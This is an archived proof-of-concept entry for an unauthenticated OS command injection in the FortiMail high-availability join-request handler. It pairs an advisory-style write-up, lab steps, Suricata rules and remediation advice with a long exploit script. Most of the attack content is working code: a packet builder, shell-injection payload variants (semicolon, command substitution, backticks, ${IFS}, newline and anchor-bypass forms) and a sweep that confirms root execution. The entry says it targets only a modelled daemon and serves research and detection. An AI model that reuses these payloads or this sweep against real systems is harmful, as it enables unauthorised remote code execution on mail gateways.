PoC Archive PoC Archive
CVE-2026-126148 category: network CVSS 9.8 (CRITICAL)
Unverified

FortiMail HA Join-Request OS Command Injection (CVE-2026-126148 / FG-IR-26-200)

Published: 2026-11-25 • Researcher: Lê Hiếu (GitHub: googlesky) — PoC and laboratory; Fortinet PSIRT — FG-IR-26-200 advisory (no individual reporter named)

Target software Fortinet FortiMail — high-availability cluster join-request handler
Affected versions FortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6 (fixed in 8.0.2 and 7.6.7)
Status PoC
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-126148
Category
network
Affected product
Fortinet FortiMail — high-availability cluster join-request handler
Affected versions
FortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6 (fixed in 8.0.2 and 7.6.7)
Disclosed
2026-11-25
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-19
Author / ResearcherLê Hiếu (GitHub: googlesky) — PoC and laboratory; Fortinet PSIRT — FG-IR-26-200 advisory (no individual reporter named)
CVE / AdvisoryCVE-2026-126148
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, vector as published by the upstream write-up)
StatusPoC
TagsRCE, command-injection, FortiMail, Fortinet, HA-cluster, unauthenticated, CWE-78, TCP, UDP, appliance
RelatedN/A

Affected Target

FieldValue
Software / SystemFortinet FortiMail — high-availability cluster join-request handler
Versions AffectedFortiMail 8.0.0 through 8.0.1; FortiMail 7.6.0 through 7.6.6 (fixed in 8.0.2 and 7.6.7)
Language / PlatformProprietary FortiMail appliance firmware (Linux-based); PoC written in Python 3, executed in Podman containers
Authentication RequiredNo
Network Access RequiredYes — reachability to the FortiMail HA port range (20000–20005, 20010–20014), join listener on UDP/TCP 20005

Summary

Fortinet FortiMail builds a cluster-management command line from the peer-identity fields of an incoming HA join request, and in releases 8.0.0 through 8.0.1 and 7.6.0 through 7.6.6 that command line reaches a shell, so a crafted join packet yields OS command injection as the FortiMail daemon. The vendor advisory FG-IR-26-200 rates the flaw 9.8 and states that an unauthenticated remote attacker may execute unauthorized code or commands; the upstream write-up places the cluster-digest check after the peer-registration command, which is what keeps the attack unauthenticated. This entry archives a containerised laboratory that reproduces the flaw in a Python model of the HA daemon, with a vulnerable 8.0.1 arm, a patched 8.0.2 arm and a hypothetical partial-remediation arm. The PoC never touches a real appliance: it speaks a modelled packet format against the model, so the entry documents the vulnerability class and the remediation shape rather than providing a turnkey exploit for FortiMail hardware.

Vulnerability Details

Root Cause

The HA join request is necessarily accepted from a peer the daemon has never seen, so its peer-identity fields (cluster-id, serial, hostname, peer-ip) are untrusted by construction. In the modelled FortiMail 8.0.1 handler the fields are substituted into a command template with no quoting and no character-set validation, the argv is joined back into a single string, and that string is executed through /bin/sh -c. A metacharacter in any interpolated field therefore becomes shell syntax rather than data. The second half of the root cause is ordering: the packet’s cluster digest is compared only after the peer-registration command has already run, so a packet with a wrong digest is still acted upon and the reply merely records that the peer is not trusted.

Attack Vector

An unauthenticated attacker who can reach the HA ports sends a crafted join-request packet (modelled as magic FMLHA, version 0x01, message type 0x01, then five length-prefixed fields) over UDP or TCP with a shell fragment in hostname, peer-ip, cluster-id or serial. The daemon assembles the fml_ha peer add command line, executes it through the shell, and the injected fragment runs as the daemon user. The same dispatcher serves the sibling HA roles, so group-mode ports 20010–20014 and the sync roles on 20001–20004 expose the same sink in the model. A minimal injected value is x; id > /results/marker/token.txt, with command substitution, ${IFS}, newline and CRLF forms also accepted by the vulnerable arm.

Impact

Remote code execution as the FortiMail service account, which the laboratory runs as uid 0 inside its container, mirroring the privileged service account on an appliance. The PoC proves execution by writing a marker containing uid=0(root) and a per-run random token, and the daemon command log shows the injected text inside the executed line. On a real appliance this would mean full control of the mail gateway, including configuration, mail stores and any credentials or trust material the daemon can read.

Environment / Lab Setup

Output
OS:          Linux x86_64 host with Podman (rootless or rootful); containers bounded at 2 CPUs / 4 GB
Target:      localhost/cve-2026-126148:vuln  (the three HA models: FML_MODE=vuln, fixed, fixed-partial)
Attacker:    localhost/cve-2026-126148-poc:local  (python:3.12-alpine, standard library only)
Network:     Podman network cve126148lab; join listener fortimail-ha-vuln:20005
Tools:       podman, make, bash, python3 (no third-party packages)

Setup Steps

Shell script
1
2
3
4
5
6
make prepare          # build the two images: cve-2026-126148:vuln and cve-2026-126148-poc:local
make up               # create network cve126148lab and start the three models
make check-vuln       # classification against the vulnerable model (exit 1 = vulnerable)
make check-fixed      # classification against the patched model (exit 0 = safe)
make exploit-vuln     # full chain: marker file plus daemon command log
make down             # tear down

The driver script run-lab.sh exposes the same targets: ./run-lab.sh up|check|exploit|probe|mitigation|0day|differential|evidence|down. The standalone exploit can also be run directly with python3 exploit/exploit.py, which forces the exploit mode.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start the lab — make prepare && make up starts the vulnerable 8.0.1 model on 20005, the patched 8.0.2 model and the partial-remediation model, all from one image and differing only in FML_MODE.
  2. Confirm the target is a vulnerable model — make check-vuln sends a benign join request and then join requests with an injected hostname, an injected peer-ip and an injected hostname over UDP; executed slots and the marker content are printed.
  3. Run the full chain — make exploit-vuln (or python3 exploit/exploit.py –target fortimail-ha-vuln:20005) tries both injection slots over TCP and UDP and reads the shared /results volume.
  4. Verify root execution and attribution — the marker must contain both uid=0(root) and the per-run token; the daemon command log line must show the injection inside the command that exec=shell ran.
  5. Differential against the patched shape — make check-fixed and make exploit-fixed run the same packets against the 8.0.2 model, which validates every interpolated field with a full match on [A-Za-z0-9._-] and executes an argument vector with no shell.

Exploit Code

See exploit.py (standalone full-chain exploit) and poc.py (the same PoC with the check/probe/mitigation/0day modes). The modelled daemon is in fortimail_ha.py; the command-construction sink is execute() at line 335, with the unvalidated token substitution in build_argv() at line 319 and the shell exec in the same function.

The packet builder and the canonical payload are small:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
MAGIC = b"FMLHA"
FIELDS = ["cluster-id", "serial", "hostname", "peer-ip", "admin-digest"]

def build_packet(msg_type, fields, version=0x01):
    payload = b""
    for name in FIELDS:
        v = fields.get(name, b"")
        if isinstance(v, str):
            v = v.encode("latin-1")
        payload += struct.pack(">H", len(v)) + v
    return MAGIC + bytes([version & 0xFF, msg_type & 0xFF]) + struct.pack(">H", len(payload)) + payload

value = "x$(id>/results/marker/%s.txt 2>&1; echo token=%s >>/results/marker/%s.txt)" % (token, token, token)

TCP framing is a 4-byte big-endian length prefix followed by the packet; UDP is one datagram per packet. The default mode of exploit.py is exploit, and exit code 1 means the injected command executed.

Expected Output

Output
$ make exploit-vuln
{
  "summary": {
    "mode": "exploit",
    "target": "fortimail-ha-vuln:20005",
    "marker_present": true,
    "marker_content": "uid=0(root) gid=0(root) groups=0(root)\ntoken=a693085aae05692c",
    "confirmed": ["hostname:tcp", "hostname:udp", "peer-ip:tcp", "peer-ip:udp"],
    "uid_root_confirmed": true,
    "impact": "unauthenticated remote command execution as uid=0(root) in the FortiMail HA daemon, through the cluster join-request listener"
  },
  "exit_code": 1
}

The patched model answers the same packets with no confirmed slot and exit code 0; the full captures are in exploit-vulnerable-run.txt, check-vulnerable-run.txt and check-fixed-run.txt.

Detection & Indicators of Compromise

  • Inbound traffic to FortiMail HA ports 20000–20005 and 20010–20014 from outside the cluster segment, especially join-request-sized packets to 20005 or 20010–20014.
  • FortiMail HA / event logs showing peer-registration activity for peers whose hostname, serial or IP was never provisioned, or peer entries with unexpected characters.
  • Join requests answered as “peer not trusted (cluster digest mismatch)” while a peer-registration command still ran — in the model this is the signature of the digest check happening after the sink.
  • Shell metacharacters or command substitution syntax in peer-identity fields, in any HA packet capture or daemon command log line.
  • Unexpected marker or output files, or child processes of the HA daemon (fml_ha) spawning a shell.

Example (suricata-style):

Output
1
2
3
4
alert udp any any -> any 20005 (msg:"FortiMail HA join-request with shell metacharacters in peer identity"; \
  content:"FMLHA"; depth:5; content:"$("; within:512; sid:9001261;)
alert tcp any any -> any 20005 (msg:"FortiMail HA join-request with shell metacharacters in peer identity"; \
  content:"FMLHA"; depth:5; content:";"; within:512; sid:9001262;)

The second rule is deliberately broad and will need tuning to the fields the deployed firmware actually exposes.

Remediation

ActionDetail
PatchUpgrade to FortiMail 8.0.2 (8.0 branch) or FortiMail 7.6.7 (7.6 branch), per FG-IR-26-200.
WorkaroundFortinet publishes no workaround and no virtual patch for FG-IR-26-200. The mitigation that takes effect is network isolation: keep the HA port range 20000–20005 and 20010–20014 off untrusted segments and allow it only between cluster members.
Config HardeningRestrict HA ports with host firewalls and upstream ACLs, segment cluster traffic on a dedicated network, verify cluster digests before any peer state change in custom integrations, and alert on peer registration by unknown peers.

References

Notes

Auto-ingested from https://github.com/googlesky/CVE-2026-126148 on 2026-11-25.

Review verdict: a real PoC with exploit code, ingested with limitations. The repository ships working exploit code (exploit.py, poc.py) that triggers command execution and confirms it from outside the container, so it is not a detector, scanner or audit tool. However, FortiMail is proprietary: the lab is a Python model of the HA daemon (fortimail_ha.py) built from the vendor’s advisory, and the packet format, port map and command template are explicitly modelled, not reverse-engineered from firmware. Nothing here will attack a real FortiMail appliance, and the README’s own scope section says so. Status is therefore PoC rather than Weaponized: the exploitation is real against the model, but it is not a weapon against the vendor product.

License: MIT (Copyright (c) 2026 Lê Hiếu). The upstream README, SECURITY.md and LICENSE state the model-only scope; the archived files are attributed to the upstream author via the repository URL and the LICENSE is not copied here (only source and evidence text files were archived). The evidence files are the upstream captured runs from 2026-11-12, not executions performed during ingestion; no exploit code was run and no container was started.

Limitations and caveats: the modelled protocol is not the vendor’s wire format, so packet captures from this lab have no direct detection value beyond the class of traffic; the uid=0(root) proof reflects the container’s daemon user, not a claim about the appliance’s privilege model; the third arm (fixed-partial) is a hypothetical remediation shape and carries no assertion about what Fortinet shipped. The upstream 0day sweep reports 0 of 129 injections on the fixed model but a residual unauthenticated peer addition on the patched line (digest compared after peer registration) — that residual is a property of the model’s ordering and FG-IR-26-200 does not say where the real daemon compares the digest. The 99 KB sweep log, ha-events.jsonl and ha-helper-argv.jsonl were not copied; the command log and the run captures that support the entry’s claims were. Run only against systems you own or have written authorization to test.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-126148 (see README for attribution/license)
"""
CVE-2026-126148 -- FortiMail high-availability cluster join-request OS command
injection (Fortinet PSIRT FG-IR-26-200, CWE-78, CVSS 9.8).

The PoC speaks the modelled FortiMail HA join-request protocol against the HA
listener of a FortiMail model and observes, from outside the container, whether the
attacker-supplied peer identity reached a shell.

Modelled packet
---------------
    header : b"FMLHA" | version(1) | message type(1) | payload length(2, big endian)
    payload: five length-prefixed fields, in this order:
             cluster-id, serial, hostname, peer-ip, admin-digest
             each field is uint16 big-endian length followed by that many raw bytes

    TCP framing: 4-byte big-endian length prefix + packet
    UDP         : one datagram = one packet

Modes
-----
    check       classification: a benign join request, then a join request with an
                injected field.  Exit 1 when the injected command executed.
    exploit     the full chain; reads the shared volume for the marker file, verifies
                the per-run token and uid=0(root), and reports the confirmed impact.
    probe       the sibling-field / sibling-surface / payload-form matrix.
    mitigation  Fortinet publishes no workaround for FG-IR-26-200.  The mitigation
                that actually takes effect -- keeping the FortiMail HA port range
                (20000-20005, 20010-20014) off untrusted networks -- is tested by
                attempting the join request against a target whose HA listener is not
                reachable: the packet never reaches the daemon.
    0day       the full sweep, including the residual analysis of the patched line.

Exit codes
----------
    0  safe / no injection observed
    1  vulnerable / confirmed impact
    2  target unreachable (name resolution or routing failure)
    3  primitive confirmed but the gadget (the marker) could not be read
    4  no listener on the target port
"""

import argparse
import json
import os
import re
import secrets
import socket
import struct
import sys
import time

# ------------------------------------------------------------------------- config

RESULTS = os.environ.get("POC_RESULTS", "/results")
MARKER_DIR = os.path.join(RESULTS, "marker")
CMD_LOG = os.path.join(RESULTS, "ha-command-log.txt")
REJECT_LOG = os.path.join(RESULTS, "ha-reject-log.txt")
EVENT_LOG = os.path.join(RESULTS, "ha-events.jsonl")
HELPER_LOG = os.path.join(RESULTS, "ha-helper-argv.jsonl")

DEFAULT_TARGET = os.environ.get("FML_TARGET", "fortimail-ha-vuln:20005")

EXIT_SAFE = 0
EXIT_VULNERABLE = 1
EXIT_UNREACHABLE = 2
EXIT_PRIMITIVE = 3
EXIT_NO_LISTENER = 4

MAGIC = b"FMLHA"
PROTO_VERSION = 0x01

MSG_JOIN = 0x01
MSG_GROUP_JOIN = 0x02
MSG_SYNC_CONTROL = 0x03
MSG_FILE_SYNC = 0x04
MSG_DATA_SYNC = 0x05
MSG_CHECKSUM_SYNC = 0x06
MSG_HEARTBEAT = 0x07

FIELDS = ["cluster-id", "serial", "hostname", "peer-ip", "admin-digest"]

# The FortiMail HA port map.  The offset is relative to the base port 20000.
PORT_MAP = [
    (20000, "heartbeat", ("udp", "tcp"), MSG_HEARTBEAT),
    (20001, "sync-control", ("udp", "tcp"), MSG_SYNC_CONTROL),
    (20002, "file-sync", ("tcp",), MSG_FILE_SYNC),
    (20003, "data-sync", ("tcp",), MSG_DATA_SYNC),
    (20004, "checksum-sync", ("tcp",), MSG_CHECKSUM_SYNC),
    (20005, "cluster-join", ("udp", "tcp"), MSG_JOIN),
    (20010, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20011, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20012, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20013, "group-mode", ("udp", "tcp"), MSG_JOIN),
    (20014, "group-mode", ("udp", "tcp"), MSG_JOIN),
]

# The field each role's command line ends with.  Injecting there keeps the injected
# command free of trailing tokens from the enclosing command line.
SURFACE_FIELD = {
    MSG_JOIN: "peer-ip",
    MSG_GROUP_JOIN: "serial",
    MSG_SYNC_CONTROL: "cluster-id",
    MSG_FILE_SYNC: "hostname",
    MSG_DATA_SYNC: "serial",
    MSG_CHECKSUM_SYNC: "cluster-id",
}

# The fields every command-building role consumes.  A field that is not on this list
# never reaches a command line.
ROLE_FIELDS = {
    MSG_JOIN: ["cluster-id", "serial", "hostname", "peer-ip"],
    MSG_GROUP_JOIN: ["cluster-id", "hostname", "peer-ip", "serial"],
    MSG_SYNC_CONTROL: ["peer-ip", "cluster-id"],
    MSG_FILE_SYNC: ["peer-ip", "hostname"],
    MSG_DATA_SYNC: ["peer-ip", "serial"],
    MSG_CHECKSUM_SYNC: ["peer-ip", "cluster-id"],
}

# Which message types each HA role accepts.
ROLE_TYPES = {
    "heartbeat": [MSG_HEARTBEAT],
    "sync-control": [MSG_SYNC_CONTROL],
    "file-sync": [MSG_FILE_SYNC],
    "data-sync": [MSG_DATA_SYNC],
    "checksum-sync": [MSG_CHECKSUM_SYNC],
    "cluster-join": [MSG_JOIN, MSG_GROUP_JOIN],
    "group-mode": [MSG_JOIN, MSG_GROUP_JOIN],
}


# ------------------------------------------------------------------------ helpers


def now():
    return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())


def split_target(target):
    host, sep, port = target.rpartition(":")
    if not sep:
        return target, 20005
    try:
        return host, int(port)
    except ValueError:
        return host, 20005


def marker_path(token):
    return os.path.join(MARKER_DIR, "%s.txt" % token)


def read_marker(token):
    try:
        with open(marker_path(token), encoding="utf-8", errors="replace") as fh:
            return fh.read()
    except OSError:
        return None


def read_log(path):
    try:
        with open(path, encoding="utf-8", errors="replace") as fh:
            return fh.read().splitlines()
    except OSError:
        return []


# ------------------------------------------------------------------ packet format


def build_packet(msg_type, fields, version=PROTO_VERSION):
    """Assemble a modelled FortiMail HA packet (see the module docstring)."""
    payload = b""
    for name in FIELDS:
        v = fields.get(name, b"")
        if isinstance(v, str):
            v = v.encode("latin-1", "replace")
        payload += struct.pack(">H", len(v)) + v
    return (MAGIC
            + bytes([version & 0xFF, msg_type & 0xFF])
            + struct.pack(">H", len(payload))
            + payload)


def parse_reply(data):
    if not data or len(data) < 11 or data[:5] != MAGIC:
        return None
    status = data[9]
    digest_ok = bool(data[10])
    return {
        "status": status,
        "digest_ok": digest_ok,
        "message": data[11:].decode("utf-8", "replace"),
    }


# ----------------------------------------------------------------------- transport


def recv_exact(sock, n):
    buf = b""
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf


def tcp_exchange(host, port, packet, timeout=6.0):
    s = socket.create_connection((host, port), timeout=timeout)
    try:
        s.settimeout(timeout)
        s.sendall(struct.pack(">I", len(packet)) + packet)
        hdr = recv_exact(s, 4)
        if hdr is None:
            return None
        n = struct.unpack(">I", hdr)[0]
        if n == 0 or n > 65535:
            return None
        return recv_exact(s, n)
    finally:
        s.close()


def udp_exchange(host, port, packet, timeout=4.0):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(timeout)
    try:
        s.sendto(packet, (host, port))
        data, _ = s.recvfrom(65535)
        return data
    finally:
        s.close()


def probe_listener(host, port, timeout=5.0):
    """Classify the target port.

    Returns one of 'present', 'closed' (nothing listens) or 'unreachable'.
    """
    try:
        s = socket.create_connection((host, port), timeout=timeout)
        s.close()
        return "present", "tcp connect to %s:%d succeeded" % (host, port)
    except ConnectionRefusedError as exc:
        return "closed", "connection refused: %s" % (exc,)
    except socket.gaierror as exc:
        return "unreachable", "name resolution failed: %s" % (exc,)
    except socket.timeout:
        return "unreachable", "connection to %s:%d timed out" % (host, port)
    except OSError as exc:
        return "unreachable", "%s" % (exc,)


def send_packet(host, port, transport, packet):
    """Send one packet.  Returns (reply_dict_or_None, transport_error_or_None)."""
    try:
        if transport == "tcp":
            raw = tcp_exchange(host, port, packet)
        else:
            raw = udp_exchange(host, port, packet)
    except ConnectionRefusedError as exc:
        return None, "connection refused: %s" % (exc,)
    except socket.timeout:
        return None, "timeout"
    except OSError as exc:
        return None, "%s" % (exc,)
    return parse_reply(raw), None


# ----------------------------------------------------------------------- payloads


def canonical_payload(token):
    """The payload used by `check` and `exploit`.

    It writes a marker file whose content carries both uid=0(root) and the per-run
    token, so the execution is attributed to this packet and not to a leftover.
    """
    p = marker_path(token)
    return "id>%s 2>&1; echo token=%s >>%s" % (p, token, p)


def payload_variants(token):
    """The syntactic forms of the injection that the sweep exercises."""
    p = marker_path(token)
    write = "id>%s 2>&1" % p
    tok = "echo token=%s >>%s" % (token, p)
    return [
        ("semicolon", "x; %s; %s" % (write, tok)),
        ("command-substitution", "x$(%s; %s)" % (write, tok)),
        ("backtick", "x`%s; %s`" % (write, tok)),
        # ${IFS} substitutes for the whitespace that terminates the command word,
        # so a filter that only blocks literal spaces does not stop it.
        ("ifs-expansion", "x;id${IFS}>%s 2>&1" % p),
        ("newline", "x\n%s\n%s" % (write, tok)),
        ("crlf", "x\r\n%s\n%s" % (write, tok)),
        ("nul-byte", "x\x00%s" % write),
        # 64 valid characters, then a newline, then the command: the classic way to
        # defeat a character-set validator that anchors with '$' instead of a full
        # match.
        ("trailing-newline-anchor", "A" * 64 + "\n%s" % write),
        ("oversized", "x" + "A" * 4096 + "; " + write),
        ("metacharacters", "x; %s #;|&$(){}[]*?!~'\"=+@/<>" % write),
    ]


def benign_fields():
    return {
        "cluster-id": b"cluster-01",
        "serial": b"FG100FT0000000001",
        "hostname": b"mail-node-01",
        "peer-ip": b"10.10.10.11",
        "admin-digest": b"0" * 64,
    }


# -------------------------------------------------------------------- the probes


def inject(fields, field, value):
    out = dict(fields)
    out[field] = value.encode("latin-1", "replace") if isinstance(value, str) else value
    return out


def run_case(host, port, transport, msg_type, fields, token, label, group):
    """Send one packet and report whether the injected command executed."""
    # A leftover marker from an earlier case must not be mistaken for a new execution.
    try:
        os.unlink(marker_path(token))
    except OSError:
        pass
    packet = build_packet(msg_type, fields)
    reply, err = send_packet(host, port, transport, packet)
    content = read_marker(token)
    executed = content is not None
    return {
        "group": group,
        "label": label,
        "port": port,
        "transport": transport,
        "message_type": "0x%02x" % msg_type,
        "executed": executed,
        "marker": marker_path(token) if executed else None,
        "marker_content": (content or "").strip() if executed else None,
        "reply": reply,
        "transport_error": err,
    }


def probe_matrix(host, port):
    """The sibling-field, payload-form, sibling-surface and protocol matrix."""
    cases = []
    base = benign_fields()

    # ---- 1. sibling fields of the join request
    for field in FIELDS:
        token = secrets.token_hex(8)
        fields = inject(base, field, "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, "tcp", MSG_JOIN, fields, token,
                              "field:%s" % field, "join-fields"))

    # ---- 2. syntactic forms of the injection
    for name, template in payload_variants("PLACEHOLDER"):
        token = secrets.token_hex(8)
        value = template.replace("PLACEHOLDER", token)
        fields = inject(base, "peer-ip", value)
        cases.append(run_case(host, port, "tcp", MSG_JOIN, fields, token,
                              "form:%s" % name, "payload-forms"))

    # ---- 3. sibling HA surfaces: every message type every role accepts, every field
    #         that message type consumes, over every transport the role offers.
    for sport, role, transports, _default_type in PORT_MAP:
        for transport in transports:
            for msg_type in ROLE_TYPES.get(role, []):
                fields_used = ROLE_FIELDS.get(msg_type, [])
                if not fields_used:
                    # The heartbeat role builds no command line; send a benign packet.
                    cases.append(run_case(host, sport, transport, msg_type, dict(base),
                                          secrets.token_hex(8),
                                          "surface:%s:%s:0x%02x" % (role, sport, msg_type),
                                          "ha-surfaces"))
                    continue
                for field in fields_used:
                    token = secrets.token_hex(8)
                    fields = inject(base, field, "x$(%s)" % canonical_payload(token))
                    cases.append(run_case(host, sport, transport, msg_type, fields, token,
                                          "surface:%s:%s:0x%02x:%s" % (role, sport, msg_type, field),
                                          "ha-surfaces"))

    # ---- 4. protocol edge cases against the join listener
    token = secrets.token_hex(8)
    fields = inject(base, "hostname", "x$(%s)" % canonical_payload(token))
    packet = build_packet(MSG_JOIN, fields)

    edge = []
    edge.append(("bad-magic", b"XXXXX" + packet[5:]))
    edge.append(("bad-version", build_packet(MSG_JOIN, fields, version=0x02)))
    edge.append(("truncated-packet", packet[:-4]))
    edge.append(("truncated-field", packet[:14]))
    over = dict(base)
    over["hostname"] = b"A" * 9000
    edge.append(("oversized-payload", build_packet(MSG_JOIN, over)))
    wrong = dict(base)
    wrong["hostname"] = ("x$(%s)" % canonical_payload(token)).encode()
    edge.append(("wrong-message-type", build_packet(MSG_HEARTBEAT, wrong)))

    for name, pk in edge:
        tok = secrets.token_hex(8)
        try:
            os.unlink(marker_path(tok))
        except OSError:
            pass
        reply, err = send_packet(host, port, "tcp", pk)
        content = read_marker(tok)
        cases.append({
            "group": "protocol-edge",
            "label": name,
            "port": port,
            "transport": "tcp",
            "message_type": "-",
            "executed": content is not None,
            "marker": marker_path(tok) if content is not None else None,
            "marker_content": (content or "").strip() if content is not None else None,
            "reply": reply,
            "transport_error": err,
        })

    return cases


def residual_checks(host, port):
    """Checks that do not need an injection to fire.

    * unauthenticated peer addition: a join request with a valid character set but a
      wrong cluster digest still makes the daemon run the peer-registration command,
      because the digest is compared only after the command has been executed.
    """
    out = []

    before = len(read_log(CMD_LOG))
    token = secrets.token_hex(8)
    fields = benign_fields()
    fields["admin-digest"] = b"f" * 64            # deliberately wrong digest
    reply, err = send_packet(host, port, "tcp", build_packet(MSG_JOIN, fields))
    after = read_log(CMD_LOG)
    grew = len(after) > before
    entry = after[-1] if grew else None
    out.append({
        "check": "unauthenticated-peer-addition",
        "description": "join request with a valid character set and a wrong cluster digest",
        "command_log_grew": grew,
        "digest_ok": (reply or {}).get("digest_ok"),
        "reply": reply,
        "transport_error": err,
        "command_log_entry": entry,
        "peer_ip_injected": "10.10.10.11",
        "token": token,
    })
    return out


# ------------------------------------------------------------------------- modes


def mode_check(host, port, transports):
    """Classification.

    A benign join request is sent first, then join requests with an injected field.
    Two slots are exercised: `hostname` and `peer-ip`.  The patched model refuses
    both; the partial-remediation shape refuses only `hostname`, which is exactly
    where its residual shows.
    """
    base = benign_fields()

    benign_token = secrets.token_hex(8)
    benign = run_case(host, port, transports[0], MSG_JOIN, dict(base), benign_token,
                      "benign", "baseline")

    cases = []
    for field in ("hostname", "peer-ip"):
        token = secrets.token_hex(8)
        fields = inject(base, field, "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, transports[0], MSG_JOIN, fields, token,
                              "injected-%s" % field, "injection"))

    for transport in transports[1:]:
        token = secrets.token_hex(8)
        fields = inject(base, "hostname", "x$(%s)" % canonical_payload(token))
        cases.append(run_case(host, port, transport, MSG_JOIN, fields, token,
                              "injected-hostname:%s" % transport, "injection"))

    executed_fields = [c["label"] for c in cases if c["executed"]]
    executed = bool(executed_fields)
    summary = {
Showing 500 of 778 lines View full file on GitHub →